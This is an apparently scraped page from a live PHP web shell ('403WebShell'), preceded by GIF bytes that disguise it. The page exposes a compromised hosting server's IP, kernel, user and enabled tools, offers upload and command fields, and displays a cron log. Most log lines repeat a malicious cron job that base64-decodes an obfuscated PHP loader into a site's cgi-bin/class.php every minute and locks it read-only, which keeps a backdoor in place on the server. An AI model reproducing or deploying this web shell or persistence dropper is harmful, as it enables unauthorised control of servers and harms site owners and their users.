GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 18.218.254.84
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log//cron-20250413
Apr  6 03:16:02 server run-parts(/etc/cron.daily)[1090]: finished logrotate
Apr  6 03:16:02 server run-parts(/etc/cron.daily)[1004]: starting maldet
Apr  6 03:17:01 server CROND[1281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:18:01 server CROND[1358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:19:01 server CROND[1436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:20:01 server CROND[1521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:20:01 server CROND[1522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 03:20:01 server CROND[1525]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 03:20:01 server CROND[1524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:20:01 server CROND[1523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:21:01 server CROND[1666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:22:01 server CROND[1835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:23:01 server CROND[1906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:24:01 server CROND[1999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:24:14 server run-parts(/etc/cron.daily)[2276]: finished maldet
Apr  6 03:24:14 server run-parts(/etc/cron.daily)[1004]: starting man-db.cron
Apr  6 03:24:15 server run-parts(/etc/cron.daily)[2356]: finished man-db.cron
Apr  6 03:24:15 server anacron[31912]: Job `cron.daily' terminated
Apr  6 03:24:15 server anacron[31912]: Normal exit (1 job run)
Apr  6 03:25:01 server CROND[3873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:25:01 server CROND[3874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:25:01 server CROND[3875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:26:01 server CROND[3993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
